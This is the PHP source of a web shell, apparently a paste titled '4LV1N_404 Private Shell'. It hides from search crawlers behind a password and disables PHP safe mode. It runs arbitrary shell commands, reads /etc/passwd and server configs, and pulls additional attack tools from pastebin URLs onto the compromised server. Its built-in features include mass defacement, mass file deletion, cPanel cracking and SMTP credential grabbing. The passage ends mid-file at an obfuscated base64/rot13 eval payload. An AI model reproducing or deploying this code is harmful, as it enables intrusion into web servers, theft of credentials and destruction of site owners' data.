· 8 years ago · Oct 05, 2017, 08:22 AM
1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12
13$auth_pass = "20737f8abef2006147d66ead0b59e554"; //
14$color = "#00ff00";
15$default_action = 'FilesMan';
16$default_use_ajax = true;
17$default_charset = 'UTF-8';
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
20 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
24}
25
26function login_shell() {
27?>
28<html>
29<head>
30<title>Login Bosque</title>
31<style type="text/css">
32html {
33 margin: 20px auto;
34 background: #000000;
35 color: red;
36 text-align: center;
37}
38header {
39 color: red;
40 margin: 10px auto;
41}
42input[type=password] {
43 width: 250px;
44 height: 25px;
45 color: red;
46 background: #000000;
47 border: 1px dotted red;
48 padding: 5px;
49 margin-left: 20px;
50 text-align: center;
51}
52</style>
53</head>
54<center>
55<header>
56 <pre>
57 ___________________________
58< <i>root@4LV1N404</i>:~# w00t??? >
59 ---------------------------
60<center><img class="logo" src="https://raw.githubusercontent.com/Anazvr/gsh/master/logo.png"></center>
61 </pre>
62</header>
63<form method="post">
64<input type="password" name="pass">
65</form>
66<?php
67exit;
68}
69if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
70 if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
71 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
72 else
73 login_shell();
74if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
75 @ob_clean();
76 $file = $_GET['file'];
77 header('Content-Description: File Transfer');
78 header('Content-Type: application/octet-stream');
79 header('Content-Disposition: attachment; filename="'.basename($file).'"');
80 header('Expires: 0');
81 header('Cache-Control: must-revalidate');
82 header('Pragma: public');
83 header('Content-Length: ' . filesize($file));
84 readfile($file);
85 exit;
86}
87?>
88<html>
89<head>
90<title>4LV1N_404 Private Shell</title>
91<link rel="SHORTCUT ICON" href="http://vignette1.wikia.nocookie.net/naruto/images/1/11/Mangeky%C5%8D_Sharingan_Sasuke_%28Eternal%29.svg/revision/latest?cb=20120405053524" type="image/gif">
92<meta name='author' content='4LV1N_404'>
93<meta name='description' content='Greetz : All Members Garuda Security Hacker'>
94<meta charset="UTF-8">
95<style type='text/css'>
96@import url(https://fonts.googleapis.com/css?family=Ubuntu);
97
98
99
100html {
101 background:black;
102 color: cyan;
103 font-family: 'Ubuntu';
104 font-size: 13px;
105 width: 100%;
106}
107 h2 {
108 -webkit-animation-name: blinker;
109 -webkit-animation-duration: 3s;
110 -webkit-animation-timing-function: linear;
111 -webkit-animation-iteration-count: infinite;
112
113 -moz-animation-name: blinker;
114 -moz-animation-duration: 2s;
115 -moz-animation-timing-function: linear;
116 -moz-animation-iteration-count: infinite;
117
118 animation-name: blinker;
119 animation-duration: 1s;
120 animation-timing-function: linear;
121 animation-iteration-count: infinite;
122 }
123
124 @-moz-keyframes blinker {
125 0% { opacity: 1.0; }
126 50% { opacity: 0.0; }
127 100% { opacity: 1.0; }
128 }
129
130 @-webkit-keyframes blinker {
131 0% { opacity: 1.0; }
132 50% { opacity: 0.0; }
133 100% { opacity: 1.0; }
134 }
135
136 @keyframes blinker {
137 0% { opacity: 1.0; }
138 50% { opacity: 0.0; }
139 100% { opacity: 1.0; }
140 }
141li {
142 display: inline;
143 margin: 5px;
144 padding: 5px;
145 color: red;
146}
147table, th {
148 border-collapse:collapse;
149 font-family: Tahoma, Geneva, sans-serif;
150 background: transparent;
151 font-family: 'Ubuntu';
152 font-size: 13px;
153}
154 td,hr,gr,.kampret{
155 border-style:solid;
156 border-color:red ;}
157.table_home, .th_home, .td_home {
158 border: 1px solid red;
159}
160th {
161 padding: 10px;
162 border: 1px solid red;
163}
164a {
165 color: #ffffff;
166 text-decoration: none;
167}
168a:hover {
169 color: gold;
170 text-decoration: underline;
171}
172b {
173 color: gold;
174}
175
176hr {
177 border: 1px solid red;
178}
179
180
181input[type=text], input[type=password],input[type=submit] {
182 background: transparent;
183 color: #ffffff;
184 border: 1px solid #ffffff;
185 margin: 5px auto;
186 padding-left: 5px;
187 font-family: 'Ubuntu';
188 font-size: 13px;
189}
190textarea {
191 border: 1px solid #ffffff;
192 width: 100%;
193 height: 400px;
194 padding-left: 5px;
195 margin: 10px auto;
196 resize: none;
197 background: transparent;
198 color: #ffffff;
199 font-family: 'Ubuntu';
200 font-size: 13px;
201}
202select {
203 width: 152px;
204 background: #000000;
205 color: white;
206 border: 1px solid #ffffff;
207 margin: 5px auto;
208 padding-left: 5px;
209 font-family: 'Ubuntu';
210 font-size: 13px;
211}
212option:hover {
213 background: red;
214 color: #000000;
215
216}
217#menu{
218 background:url(/welcome.jpg);
219 margin:8px 2px 4px 2px;
220}
221#menu a{
222 padding:4px 18px;
223 border: 1px solid red;
224 margin:0;
225 background:black;
226 text-decoration:none;
227 letter-spacing:1px;
228 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
229
230}
231#menu a:hover{
232 background:#191919;
233 border-bottom:1px solid cyan;
234 border-top:1px solid cyan;
235}
236
237</style>
238</head>
239<center>
240<?php
241if (file_exists("php.ini")){
242}else{
243$img = fopen('php.ini', 'w');
244$sec = "safe_mode = OFF
245disable_funtions = NONE";
246fwrite($img ,$sec);
247fclose($img);}
248function w($dir,$perm) {
249 if(!is_writable($dir)) {
250 return "<font color=red>".$perm."</font>";
251 } else {
252 return "<font color=lime>".$perm."</font>";
253 }
254}
255function exe($cmd) {
256if(function_exists('system')) {
257 @ob_start();
258 @system($cmd);
259 $buff = @ob_get_contents();
260 @ob_end_clean();
261 return $buff;
262 } elseif(function_exists('exec')) {
263 @exec($cmd,$results);
264 $buff = "";
265 foreach($results as $result) {
266 $buff .= $result;
267 } return $buff;
268 } elseif(function_exists('passthru')) {
269 @ob_start();
270 @passthru($cmd);
271 $buff = @ob_get_contents();
272 @ob_end_clean();
273 return $buff;
274 } elseif(function_exists('shell_exec')) {
275 $buff = @shell_exec($cmd);
276 return $buff;
277 }
278}
279function perms($file){
280$perms = fileperms($file);
281if (($perms & 0xC000) == 0xC000) {
282$info = 's';
283} elseif (($perms & 0xA000) == 0xA000) {
284$info = 'l';
285} elseif (($perms & 0x8000) == 0x8000) {
286$info = '-';
287} elseif (($perms & 0x6000) == 0x6000) {
288$info = 'b';
289} elseif (($perms & 0x4000) == 0x4000) {
290$info = 'd';
291} elseif (($perms & 0x2000) == 0x2000) {
292$info = 'c';
293} elseif (($perms & 0x1000) == 0x1000) {
294$info = 'p';
295} else {
296$info = 'u';
297}
298$info .= (($perms & 0x0100) ? 'r' : '-');
299$info .= (($perms & 0x0080) ? 'w' : '-');
300$info .= (($perms & 0x0040) ?
301(($perms & 0x0800) ? 's' : 'x' ) :
302(($perms & 0x0800) ? 'S' : '-'));
303$info .= (($perms & 0x0020) ? 'r' : '-');
304$info .= (($perms & 0x0010) ? 'w' : '-');
305$info .= (($perms & 0x0008) ?
306(($perms & 0x0400) ? 's' : 'x' ) :
307(($perms & 0x0400) ? 'S' : '-'));
308$info .= (($perms & 0x0004) ? 'r' : '-');
309$info .= (($perms & 0x0002) ? 'w' : '-');
310$info .= (($perms & 0x0001) ?
311(($perms & 0x0200) ? 't' : 'x' ) :
312(($perms & 0x0200) ? 'T' : '-'));
313return $info;
314}
315function hdd($s) {
316if($s >= 1073741824)
317return sprintf('%1.2f',$s / 1073741824 ).' GB';
318elseif($s >= 1048576)
319return sprintf('%1.2f',$s / 1048576 ) .' MB';
320elseif($s >= 1024)
321return sprintf('%1.2f',$s / 1024 ) .' KB';
322else
323return $s .' B';
324}
325function ambilKata($param, $kata1, $kata2){
326 if(strpos($param, $kata1) === FALSE) return FALSE;
327 if(strpos($param, $kata2) === FALSE) return FALSE;
328 $start = strpos($param, $kata1) + strlen($kata1);
329 $end = strpos($param, $kata2, $start);
330 $return = substr($param, $start, $end - $start);
331 return $return;
332}
333if(get_magic_quotes_gpc()) {
334 function idx_ss($array) {
335 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
336 }
337 $_POST = idx_ss($_POST);
338}
339function CreateTools($names,$lokasi){
340 if ( $_GET['create'] == $names ){
341 $a= "".$_SERVER['SERVER_NAME']."";
342$b= dirname($_SERVER['PHP_SELF']);
343$c = "/cox_tools/".$names.".php";
344if (file_exists('cox_tools/'.$names.'.php')){
345 echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
346 }
347 else {mkdir("cox_tools", 0777);
348file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
349echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
350
351CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
352CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
353CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
354CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
355CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
356CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
357CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
358CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
359CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
360CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
361CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
362CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
363CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
364CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
365CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
366if(isset($_GET['dir'])) {
367 $dir = $_GET['dir'];
368 chdir($_GET['dir']);
369} else {
370 $dir = getcwd();
371}
372$dir = str_replace("\\","/",$dir);
373$scdir = explode("/", $dir);
374$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
375$ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
376$ds = @ini_get("disable_functions");
377$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
378$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
379$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
380$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
381$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
382$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
383if(!function_exists('posix_getegid')) {
384 $user = @get_current_user();
385 $uid = @getmyuid();
386 $gid = @getmygid();
387 $group = "?";
388} else {
389 $uid = @posix_getpwuid(posix_geteuid());
390 $gid = @posix_getgrgid(posix_getegid());
391 $user = $uid['name'];
392 $uid = $uid['uid'];
393 $group = $gid['name'];
394 $gid = $gid['gid'];
395}
396$d0mains = @file("/etc/named.conf");
397 $users=@file('/etc/passwd');
398 if($d0mains)
399 {
400 $count;
401 foreach($d0mains as $d0main)
402 {
403 if(@ereg("zone",$d0main))
404 {
405 preg_match_all('#zone "(.*)"#', $d0main, $domains);
406 flush();
407 if(strlen(trim($domains[1][0])) > 2)
408 {
409 flush();
410 $count++;
411 }
412 }
413 }
414 }
415
416$sport=$_SERVER['SERVER_PORT'];
417echo "<hr>";
418echo "<table width=100% border=0 >";
419echo "<tr><td align=left>";
420echo "System: <font color=lime>".php_uname()."</font><br>";
421echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
422echo "Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
423echo "HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font><br>";
424echo "Websites :<font color=lime> $count </font> Domains<br>";
425echo "Port :<font color=lime> $sport</font> <br>";
426echo "Safe Mode: $sm<br>";
427echo "Disable Functions: $show_ds<br>";
428echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
429echo "Current DIR: ";
430foreach($scdir as $c_dir => $cdir) {
431 echo "<a href='?dir=";
432 for($i = 0; $i <= $c_dir; $i++) {
433 echo $scdir[$i];
434 if($i != $c_dir) {
435 echo "/";
436 }
437 }
438 echo "'>$cdir</a>/";
439}
440echo "[ ".w($dir,"Writeable")." ]</td><br />";
441echo " <br />
442<td align=center>
443 <center><h2 style=margin:0; color;white; font-size:100px; line-height:150px; font-weight:bold;>4LV1N_404 Private Shell</h1>
444</td>";
445echo "</tr></table>";
446echo "<br>";
447
448
449echo "<center>";
450echo "<div class=kampret>";
451echo "<ul>";
452echo "<div id=menu>";
453echo "[ <a href='?'>Home</a> ]</li>";
454echo "[ <a href='?dir=$dir&do=upload'>Upload</a> ]";
455echo "[ <a href='?dir=$dir&do=cmd'>Command</a> ]";
456echo "[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]";
457echo "[ <a href='?dir=$dir&do=config'>Config</a> ]";
458echo "[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]";
459echo "[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br><br>";
460echo "[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]";
461echo "[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]";
462echo "[ <a href='?dir=$dir&do=lokmed'>Lokomedia</a> ]";
463echo "[ <a href='?dir=$dir&do=hashid'>Hash Identifier</a> ]";
464echo "[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]";
465echo "[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]<br><br>";
466echo "[ <a href='?dir=$dir&do=sql'>MySQL Manager</a> ]";
467echo "[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]";
468echo "[ <a href='?dir=$dir&do=csrf'>CSRF</a> ]";
469echo "[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]";
470echo "[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]";
471echo "[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]";
472echo "[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br><br> ";
473echo "[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]";
474echo "[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]";
475echo "[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]";
476echo "[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]";
477echo "[ <a href='?dir=$dir&do=about'>About</a> ]";
478echo "[ <a style='color: red;' href='?dir=$dir&do=metu'>Keluar</a> ]";
479echo "</div>";
480echo "</ul>";
481echo "</div>";
482echo "</center>";
483echo "<br>";
484
485if($_GET['do'] == 'upload') {
486 echo "<center>";
487 if($_POST['upload']) {
488 if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
489 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
490 } else {
491 $act = "<font color=red>failed to upload file</font>";
492 }
493 }
494 echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
495 echo $act;
496 echo "</center>";
497}
498 elseif($_GET['do'] == 'cmd') {
499 echo "<form method='post'>
500 <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
501 <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
502 </form>";
503 if($_POST['do_cmd']) {
504 echo "<pre>".exe($_POST['cmd'])."</pre>";
505 }
506} elseif($_GET['do'] == 'mass_deface') {
507 echo "<center><form action=\"\" method=\"post\">\n";
508 $dirr=$_POST['d_dir'];
509 $index = $_POST["script"];
510 $index = str_replace('"',"'",$index);
511 $index = stripslashes($index);
512 function edit_file($file,$index){
513 if (is_writable($file)) {
514 clear_fill($file,$index);
515 echo "<Span style='color:green;'><strong> [+] Coli 100% Successfull </strong></span><br></center>";
516 }
517 else {
518 echo "<Span style='color:red;'><strong> [-] Dilarangan Coli Disini :'( </strong></span><br></center>";
519 }
520 }
521 function hapus_massal($dir,$namafile) {
522 if(is_writable($dir)) {
523 $dira = scandir($dir);
524 foreach($dira as $dirb) {
525 $dirc = "$dir/$dirb";
526 $lokasi = $dirc.'/'.$namafile;
527 if($dirb === '.') {
528 if(file_exists("$dir/$namafile")) {
529 unlink("$dir/$namafile");
530 }
531 } elseif($dirb === '..') {
532 if(file_exists("".dirname($dir)."/$namafile")) {
533 unlink("".dirname($dir)."/$namafile");
534 }
535 } else {
536 if(is_dir($dirc)) {
537 if(is_writable($dirc)) {
538 if(file_exists($lokasi)) {
539 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
540 unlink($lokasi);
541 $idx = hapus_massal($dirc,$namafile);
542 }
543 }
544 }
545 }
546 }
547 }
548 }
549 function clear_fill($file,$index){
550 if(file_exists($file)){
551 $handle = fopen($file,'w');
552 fwrite($handle,'');
553 fwrite($handle,$index);
554 fclose($handle); } }
555
556 function gass(){
557 global $dirr , $index ;
558 chdir($dirr);
559 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
560 $files = scandir($dirr) ;
561 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
562 sort($files);
563 $n = 0 ;
564 foreach ($files as $file){
565 if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
566 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
567 edit_file($file,$index);
568 flush();
569 $n = $n +1 ;
570 }
571 }
572 echo "<br>";
573 echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
574 }
575 function ListFiles($dirrall) {
576
577 if($dh = opendir($dirrall)) {
578
579 $files = Array();
580 $inner_files = Array();
581 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
582 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
583 while($file = readdir($dh)) {
584 if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
585 if(is_dir($dirrall . "/" . $file)) {
586 $inner_files = ListFiles($dirrall . "/" . $file);
587 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
588 } else {
589 array_push($files, $dirrall . "/" . $file);
590 }
591 }
592 }
593
594 closedir($dh);
595 return $files;
596 }
597 }
598 function gass_all(){
599 global $index ;
600 $dirrall=$_POST['d_dir'];
601 foreach (ListFiles($dirrall) as $key=>$file){
602 $file = str_replace('//',"/",$file);
603 echo "<center><strong>$file</strong> ===>";
604 edit_file($file,$index);
605 flush();
606 }
607 $key = $key+1;
608 echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
609 function sabun_massal($dir,$namafile,$isi_script) {
610 if(is_writable($dir)) {
611 $dira = scandir($dir);
612 foreach($dira as $dirb) {
613 $dirc = "$dir/$dirb";
614 $lokasi = $dirc.'/'.$namafile;
615 if($dirb === '.') {
616 file_put_contents($lokasi, $isi_script);
617 } elseif($dirb === '..') {
618 file_put_contents($lokasi, $isi_script);
619 } else {
620 if(is_dir($dirc)) {
621 if(is_writable($dirc)) {
622 echo "[<font color=lime>DONE</font>] $lokasi<br>";
623 file_put_contents($lokasi, $isi_script);
624 $idx = sabun_massal($dirc,$namafile,$isi_script);
625 }
626 }
627 }
628 }
629 }
630 }
631 if($_POST['mass'] == 'onedir') {
632 echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
633 $ini="http://";
634 $mainpath=$_POST[d_dir];
635 $file=$_POST[d_file];
636 $dir=opendir("$mainpath");
637 $code=base64_encode($_POST[script]);
638 $indx=base64_decode($code);
639 while($row=readdir($dir)){
640 $start=@fopen("$row/$file","w+");
641 $finish=@fwrite($start,$indx);
642 if ($finish){
643 echo"$ini$row/$file\n";
644 }
645 }
646 echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
647 $mainpath=$_POST[d_dir];$file=$_POST[d_file];
648 $dir=opendir("$mainpath");
649 $code=base64_encode($_POST[script]);
650 $indx=base64_decode($code);
651 while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
652 $finish=@fwrite($start,$indx);
653 if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
654 }
655
656 }
657 elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
658 elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
659 elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
660 elseif($_POST['mass'] == 'massdeface') {
661 echo "<div style='margin: 5px auto; padding: 5px'>";
662 sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
663 echo "</div>"; }
664 else {
665 echo "
666 <center><font style='text-decoration: underline;'>
667 Select Type:<br>
668 </font>
669 <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
670 <option value=\"onedir\">Mass Deface 1 Dir</option>
671 <option value=\"massdeface\">Mass Deface ALL Dir</option>
672 <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
673 <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
674 <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
675 <font style='text-decoration: underline;'>Folder:</font><br>
676 <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
677 <font style='text-decoration: underline;'>Filename:</font><br>
678 <input type='text' name='d_file' value='69.php' style='width: 450px;' height='10'><br>
679 <font style='text-decoration: underline;'>Index File:</font><br>
680 <textarea name='script' style='width: 450px; height: 200px;'>Hacked By 4LV1N_404</textarea><br>
681 <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
682 </form></center>";
683 }
684 }
685elseif($_GET['do'] == 'zip') {
686 echo "<center><h1>Zip Menu</h1>";
687function rmdir_recursive($dir) {
688 foreach(scandir($dir) as $file) {
689 if ('.' === $file || '..' === $file) continue;
690 if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
691 else unlink("$dir/$file");
692 }
693 rmdir($dir);
694}
695if($_FILES["zip_file"]["name"]) {
696 $filename = $_FILES["zip_file"]["name"];
697 $source = $_FILES["zip_file"]["tmp_name"];
698 $type = $_FILES["zip_file"]["type"];
699 $name = explode(".", $filename);
700 $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
701 foreach($accepted_types as $mime_type) {
702 if($mime_type == $type) {
703 $okay = true;
704 break;
705 }
706 }
707 $continue = strtolower($name[1]) == 'zip' ? true : false;
708 if(!$continue) {
709 $message = "Itu Bukan Zip , , GOBLOK KAU";
710 }
711 $path = dirname(__FILE__).'/';
712 $filenoext = basename ($filename, '.zip');
713 $filenoext = basename ($filenoext, '.ZIP');
714 $targetdir = $path . $filenoext;
715 $targetzip = $path . $filename;
716 if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
717 mkdir($targetdir, 0777);
718 if(move_uploaded_file($source, $targetzip)) {
719 $zip = new ZipArchive();
720 $x = $zip->open($targetzip);
721 if ($x === true) {
722 $zip->extractTo($targetdir);
723 $zip->close();
724
725 unlink($targetzip);
726 }
727 $message = "<b>Sukses kakak :)</b>";
728 } else {
729 $message = "<b>Error kakak :(</b>";
730 }
731}
732echo '<table style="width:100%" border="1">
733 <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
734<label>Zip File : <input type="file" name="zip_file" /></label>
735<input type="submit" name="submit" value="Upload And Unzip" />
736</form>';
737if($message) echo "<p>$message</p>";
738echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
739 if($_POST['backup']){
740 $save=$_POST['save'];
741 function Zip($source, $destination)
742{
743 if (extension_loaded('zip') === true)
744 {
745 if (file_exists($source) === true)
746 {
747 $zip = new ZipArchive();
748
749 if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
750 {
751 $source = realpath($source);
752
753 if (is_dir($source) === true)
754 {
755 $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
756
757 foreach ($files as $file)
758 {
759 $file = realpath($file);
760
761 if (is_dir($file) === true)
762 {
763 $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
764 }
765
766 else if (is_file($file) === true)
767 {
768 $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
769 }
770 }
771 }
772
773 else if (is_file($source) === true)
774 {
775 $zip->addFromString(basename($source), file_get_contents($source));
776 }
777 }
778
779 return $zip->close();
780 }
781 }
782
783 return false;
784}
785 Zip($_POST['dir'],$save);
786 echo "Done , Save To <b>$save</b>";
787 }
788 echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
789 if($_POST['extrak']){
790 $save=$_POST['save'];
791 $zip = new ZipArchive;
792 $res = $zip->open($_POST['dir']);
793 if ($res === TRUE) {
794 $zip->extractTo($save);
795 $zip->close();
796 echo 'Succes , Location : <b>'.$save.'</b>';
797 } else {
798 echo 'Gagal Mas :( Ntahlah !';
799 }
800 }
801echo '</tr></table>';
802 }
803 elseif($_GET['do'] == 'shellchk') {
804 eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
805 } elseif($_GET['do'] == 'loghunter')
